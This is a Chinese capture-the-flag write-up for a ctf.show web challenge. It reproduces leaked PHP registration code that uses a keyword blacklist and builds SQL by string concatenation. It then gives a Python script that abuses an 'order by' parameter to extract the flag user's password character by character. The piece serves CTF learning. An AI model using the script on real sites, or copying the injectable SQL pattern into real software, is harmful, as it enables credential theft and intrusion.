题目

https://ctf.show/challenges#CTFshow%20web1-104

解题思路

进入题目可以看到是一个登录界面，还有注册按钮，下意识的尝试了各种注入，结果都不行，虽然中间也有报错，但是无法往下走，于是dirsearch走一波，发现存在 www.zip 网站备份文件，下载下来一看，瞬间傻眼！

这个过滤写的真是绝了。

# reg.php
        error_reporting(0);
        $con = mysqli_connect("localhost","root","root","web15");
        if (!$con)
        {
            die('Could not connect: ' . mysqli_error());
        }
        $username=$_POST['username'];
        $password=$_POST['password'];
        $email=$_POST['email'];
        $nickname=$_POST['nickname'];
        if(preg_match("/group|union|select|from|or|and|regexp|substr|like|create|drop|\`|\!|\@|\#|\%|\^|\&|\*|\(|\)|\（|\）|\_|\+|\=|\]|\;|\'|\’|\“|\"|\<|\>|\?/i",$username)){
                die("error");
        }
        if(preg_match("/group|union|select|from|or|and|regexp|substr|like|create|drop|\`|\!|\@|\#|\%|\^|\&|\*|\(|\)|\（|\）|\_|\+|\=|\]|\;|\'|\’|\“|\"|\<|\>|\?/i",$password)){
                die("error");
        }
        if(preg_match("/group|union|select|from|or|and|regexp|substr|like|create|drop|\`|\!|\#|\%|\^|\&|\*|\(|\)|\（|\）|\-|\_|\+|\=|\{|\}\]|\'|\’|\“|\"|\<|\>|\?/i",$email)){
                die("error");
        }
        if(preg_match("/group|union|select|from|or|and|regexp|substr|like|create|drop|\`|\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\（|\）|\-|\_|\+|\=|\{|\}|\]|\;|\'|\’|\“|\"|\<|\>|\?/i",$nickname)){
                die("error");
        }
        if(isset($username) && isset($password) && isset($email) && isset($nickname)){
            $sql = "INSERT INTO user (uname, pwd, email,nname) VALUES ('$username', '$password', '$email','$nickname')";
            $res=mysqli_query($con, $sql);
            if ($res) {
                $_SESSION["login"] = true;
                header("location:/index.php");
            } 
        }
        mysqli_close($conn);

尝试正常注册一个账号，登录进去发现，里面有一个flag用户，并且提示flag_is_my_password

于是改变思路，这时看到登录进去的信息页面代码，发现这么一句。

$sql="select * from user order by $order";

于是就想，可不可以按照password进行排序，那这么就可以对password进行对比判断了，基本也就等于盲注了。

于是，开始构造脚本。

import requests
url = "https://93545584-20e7-44a5-a3fe-d2e0c8dd1240.challenge.ctf.show"
register = url + "/reg.php"
login = url + "/login.php"
member = url + "/user_main.php?order=pwd"

payload = ''
flag = ''
for i in range(1, 100):
    for j in range(32, 128):
        payload = flag + chr(j)
        register_data = {
            'username': payload,
            'password': payload,
            'email': '1',
            'nickname': '1'
        }

        login_data = {
            'username': payload,
            'password': payload
        }

        r = requests.session()
        r.post(register, data=register_data)
        r.post(login, login_data)
        tmp = r.get(member).text
        if tmp.find('<td>flag@ctf.show</td>') < tmp.find(f"<td>{payload}</td>"):
            flag += chr(j-1)
            payload = flag
            print(payload)
            break